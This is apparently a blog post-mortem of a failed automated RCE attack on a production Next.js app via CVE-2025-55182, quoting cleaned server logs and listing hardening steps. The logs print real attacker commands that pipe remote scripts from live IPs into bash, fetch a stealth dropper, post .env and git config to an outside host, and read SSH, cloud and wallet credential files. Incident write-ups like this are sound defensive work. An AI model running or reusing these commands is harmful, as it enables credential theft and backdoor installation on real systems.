How a Real-World Next.js RCE Attack Failed — and What Actually Saved the System
A real-world Next.js RCE attack hit production — and failed. This post shows real logs, attacker payloads, and how slim containers, non-root Docker images, minimal env injection, and Cloudflare (free plan) stopped the exploit chain.
Recently, one of my production systems was targeted by a real, automated remote code execution (RCE) attack exploiting a critical vulnerability in the Next.js ecosystem.
The attacker reached the application surface — but the attack did not succeed.
This post documents what happened, what the attacker tried to do, how it showed up in the logs, and which concrete security measures actually mattered.
The vulnerability
The attack targeted CVE-2025-55182 (GHSA-9qr9-h5gf-34mp), a critical RCE vulnerability in Next.js React Server Components (Flight protocol).
Key facts:
- Affected version: Next.js 15.3.5
- Attack vector: unauthenticated network access
- Impact: arbitrary command execution
- Fix: Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0-canary.58, 16.0.7
The attacker did not need credentials. The application was probed directly over HTTP by automated tooling.
What the attacker tried to do
From the logs, the attack followed a typical post-exploitation pattern:
- execute shell commands
- download remote scripts
- read environment files and credentials
- install a proxy or backdoor
Examples of commands observed in the logs:
apk add --no-cache curl python3 && curl -s http://67.217.57.240:666/files/proxy.sh | bash
wget -qO deploy-all.sh http://nossl.segfault.net/deploy-all.sh && bash deploy-all.sh
cat .env
cat /root/.ssh/id_rsa
cat /root/.aws/credentials
Attempt in the logs (cleaned up and commented)
# Condensed + grouped (duplicates removed, context preserved)
2025/12/12 15:45:04 stderr ⨯ [Error: NEXT_REDIRECT] { digest: '2748640341' }
# --- Exfil attempt via wget (fails because wget not present) ---
2025/12/12 11:49:37 stderr ⨯ Error: Command failed: (echo "=== URL: https://flat-finder.ch ==="; echo "=== FILE: .env ==="; cat ./.env 2>/dev/null || echo "[FILE NOT FOUND]") | wget --post-data="$(cat -)" -O- http://195.178.110.131:8001
2025/12/12 11:49:37 stderr /bin/sh: 1: wget: not found
2025/12/12 11:49:37 stderr { digest: '817703067', pid: 13383, status: 127, signal: null }
2025/12/12 11:49:38 stderr ⨯ Error: Command failed: (echo "=== URL: https://flat-finder.ch ==="; echo "=== FILE: ls -a ==="; ls -a 2>/dev/null || echo "[LS FAILED]") | wget --post-data="$(cat -)" -O- http://195.178.110.131:8001
2025/12/12 11:49:38 stderr /bin/sh: 1: wget: not found
2025/12/12 11:49:38 stderr { digest: '464732475', pid: 13388, status: 127, signal: null }
2025/12/12 11:49:39 stderr ⨯ Error: Command failed: (echo "=== URL: https://flat-finder.ch ==="; echo "=== FILE: .git/config ==="; cat .git/config 2>/dev/null || echo "[FILE NOT FOUND]") | wget --post-data="$(cat -)" -O- http://195.178.110.131:8001
2025/12/12 11:49:39 stderr /bin/sh: 1: wget: not found
2025/12/12 11:49:39 stderr { digest: '3039002907', pid: 13393, status: 127, signal: null }
# --- Malformed payload / parser crash spam (kept once) ---
2025/12/12 11:19:34 stderr ⨯ SyntaxError: Expected property name or '}' in JSON at position 1
2025/12/12 11:19:34 stderr at JSON.parse (<anonymous>) { digest: '2711627294' }
# --- Secrets harvesting attempts (kept representative set) ---
2025/12/12 11:19:33 stderr cat: /root/.ssh/id_rsa: No such file or directory
2025/12/12 11:19:33 stderr cat: /root/.aws/credentials: No such file or directory
2025/12/12 11:19:33 stderr cat: /root/.docker/config.json: No such file or directory
2025/12/12 11:19:33 stderr cat: /root/.npmrc: No such file or directory
2025/12/12 11:19:33 stderr cat: /root/.git-credentials: No such file or directory
2025/12/12 11:19:33 stderr cat: .env: No such file or directory
2025/12/12 11:19:33 stderr cat: .env.local: No such file or directory
2025/12/12 11:19:33 stderr cat: .env.production: No such file or directory
2025/12/12 11:19:33 stderr cat: /root/.config/gcloud/application_default_credentials.json: No such file or directory
2025/12/12 11:19:33 stderr cat: /root/.azure/accessTokens.json: No such file or directory
2025/12/12 11:19:33 stderr cat: /root/.bitcoin/wallet.dat: No such file or directory
# --- Start banner (useful for timeline correlation) ---
2025/12/12 09:38:21 stdout ▲ Next.js 15.3.5
2025/12/12 09:38:21 stdout - Local: http://localhost:3000
2025/12/12 09:38:21 stdout - Network: http://0.0.0.0:3000
2025/12/12 09:38:21 stdout ✓ Starting...
2025/12/12 09:38:21 stdout ✓ Ready in 93ms
# --- Attempt to install tooling + fetch remote script (fails) ---
2025/12/12 03:49:35 stderr ⨯ [Error: Command failed: apk add --no-cache curl python3 2>/dev/null && curl -s http://67.217.57.240:666/files/proxy.sh | bash] { digest: '431966556', pid: 27112, status: 127, signal: null }
# --- Credential file probes (kept representative subset with context) ---
2025/12/12 03:49:34 stderr ⨯ [Error: Command failed: cat ~/.aws/credentials 2>/dev/null] { digest: '3425141820', pid: 27099, status: 1, signal: null }
2025/12/12 03:49:34 stderr ⨯ [Error: Command failed: cat ~/.aws/config 2>/dev/null] { digest: '477263452', pid: 27103, status: 1, signal: null }
2025/12/12 03:49:34 stderr ⨯ [Error: Command failed: cat ~/.docker/config.json 2>/dev/null] { digest: '1802764444', pid: 27105, status: 1, signal: null }
2025/12/12 03:49:35 stderr ⨯ [Error: Command failed: cat ~/.npmrc 2>/dev/null] { digest: '2909712956', pid: 27107, status: 1, signal: null }
2025/12/12 03:49:32 stderr ⨯ [Error: Command failed: cat ~/.ssh/id_rsa 2>/dev/null] { digest: '2289789596', pid: 27075, status: 1, signal: null }
2025/12/12 03:49:33 stderr ⨯ [Error: Command failed: cat /root/.ssh/id_rsa 2>/dev/null] { digest: '1035881052', pid: 27087, status: 1, signal: null }
# --- .env hunting (kept minimal but shows strategy) ---
2025/12/12 03:49:30 stderr ⨯ [Error: Command failed: cat .env 2>/dev/null] { digest: '2918473852', pid: 27044, status: 1, signal: null }
2025/12/12 03:49:30 stderr ⨯ [Error: Command failed: cat .env.local 2>/dev/null] { digest: '707624796', pid: 27046, status: 1, signal: null }
2025/12/12 03:49:30 stderr ⨯ [Error: Command failed: cat .env.production 2>/dev/null] { digest: '880887772', pid: 27048, status: 1, signal: null }
2025/12/12 03:49:30 stderr ⨯ [Error: Command failed: cat /app/.env 2>/dev/null] { digest: '995527196', pid: 27054, status: 1, signal: null }
# --- Other attack wave: dropper download with env flags (fails: wget missing) ---
2025/12/10 16:28:13 stderr ⨯ [Error: Command failed: wget -qO deploy-all.sh http://nossl.segfault.net/deploy-all.sh && X=ZmxhdC1maW5kZXIuY2g FORCE_X=1 GS_NO_RANDOM_PORT=1 GS_MAX_CONNECTIONS=2 GS_PORT=53 GS_BLAZE=1 GS_STEALTH=1 GS_NO_IPV6=1 GS_NO_SYSLOG=1 GS_RELAY_LIMIT=2 GS_HIDDEN_NAME=npm-x bash deploy-all.sh && rm -f deploy-all.sh
2025/12/10 16:28:13 stderr /bin/sh: 1: wget: not found
# --- Probe variants / malformed execution attempts (kept once each) ---
2025/12/10 04:04:24 stderr ⨯ [TypeError: The "command" argument must be of type string. Received type number (NaN)] { digest: '2155622092', code: 'ERR_INVALID_ARG_TYPE' }
2025/12/10 04:04:24 stderr ⨯ SyntaxError: Unexpected token '.' { digest: '1220254837' }
2025/12/10 04:04:24 stderr ⨯ SyntaxError: Unexpected token 'var' { digest: '1821843477' }
# --- Existence checks for .env locations (kept representative) ---
2025/12/10 04:04:23 stderr ⨯ [Error: Command failed: test -f /app/.env && echo EXISTS | base64 -w 0] { digest: '657583004', pid: 909, status: 1 }
2025/12/10 04:04:23 stderr ⨯ [Error: Command failed: test -f /app/.env.local && echo EXISTS | base64 -w 0] { digest: '4252284188', pid: 921, status: 1 }
2025/12/10 04:04:23 stderr ⨯ [Error: Command failed: test -f /opt/app/.env && echo EXISTS | base64 -w 0] { digest: '3330329404', pid: 923, status: 1 }
2025/12/10 04:04:24 stderr ⨯ [Error: Command failed: test -f /root/.env && echo EXISTS | base64 -w 0] { digest: '3562103324', pid: 925, status: 1 }
# --- Connection noise (kept once) ---
2025/12/11 03:40:00 stderr ⨯ [Error: Connection closed.] { digest: '2241716495' }
These are common automated payloads used for persistence, proxying, and abuse.
What this looks like in real Next.js logs
Next.js failed safely. Instead of executing the payloads, the runtime logged errors such as:
⨯ Error: Command failed:
(echo "=== FILE: .env ==="; cat ./.env 2>/dev/null || echo "[FILE NOT FOUND]")
| wget --post-data="$(cat -)" -O- http://195.178.110.131:8001
/bin/sh: 1: wget: not found
⨯ Error: Failed to find Server Action "x".
This request might be from an older or newer deployment.
These logs indicate:
- arbitrary command execution attempts
- filesystem probing
- missing tooling
- failed exploit chains
No successful execution or persistence occurred.
Why the attack failed
The vulnerability existed — but the exploit chain could not complete.
This was not luck. It was defense-in-depth.
1. Slim container images (minimal attack surface)
The application runs in slim runtime container images:
- no wget
- no curl
- no package manager at runtime
- no build tooling
Most payloads failed immediately:
/bin/sh: 1: wget: not found
No tooling means no easy post-exploitation.
2. Non-root containers (critical hardening)
All Dockerfiles were hardened so that runtime containers no longer run as root.
In multi-stage builds:
- build stages may run as root (acceptable)
- final runtime stages run as an unprivileged user
Example pattern:
FROM node:20-slim AS runner
WORKDIR /app
RUN useradd -m -u 10001 appuser
USER appuser
CMD ["node", "server.js"]
This prevents:
- privilege escalation
- host-level access
- many container escape techniques
Even if code execution is achieved, it runs with very limited permissions.
3. Minimal environment variable injection
Only strictly required environment variables are injected at runtime.
There is:
- no .env file on disk
- no cloud credentials
- no SSH keys
- no CI or registry tokens
Every exfiltration attempt returned:
[FILE NOT FOUND]
This significantly reduced blast radius.
4. Cloudflare in front (Free plan)
After detection, the application was placed behind Cloudflare (Free plan).
Even on the free tier, Cloudflare provides:
- origin IP hiding
- automated exploit filtering
- rate limiting and bot noise reduction
- basic WAF behavior
- free TLS termination (Universal SSL)
Most automated scans and low-effort attacks never reach the origin anymore.
5. Immediate patching and dependency hygiene
The application was upgraded from:
Next.js 15.3.5 → 16.0.7
In addition, regular checks are now enforced:
npm outdated
npm audit
Critical updates are applied immediately.
The payloads they tried to download
For transparency, these are the exact payloads referenced during the attack:
-
proxy.sh
https://www.virustotal.com/gui/file/fde872d311d71507a9a3bfd75403e2a212de25b137350d769a53a10a1d074b54 -
deploy-all.sh(including binary content)
https://www.virustotal.com/gui/file/8e7f5ba23ec7d880421e2157c9b9046a46b87a305bfeaba9eed449373f0e677b/detection
These are known malicious droppers used for proxying and persistence.
Lessons learned
If you run Node.js or Next.js in production:
- Track CVEs actively
- Patch fast
- Use npm outdated
- Use npm audit
- Use slim runtime images
- Never run containers as root
- Inject only required environment variables
- Put a CDN/WAF in front (even free tiers help)
Security is not one magic tool.
It is a collection of boring, correct decisions.
Final thought
The attack did not succeed — not because it wasn’t serious, but because the system was designed to limit blast radius by default.
That is what actually works in practice.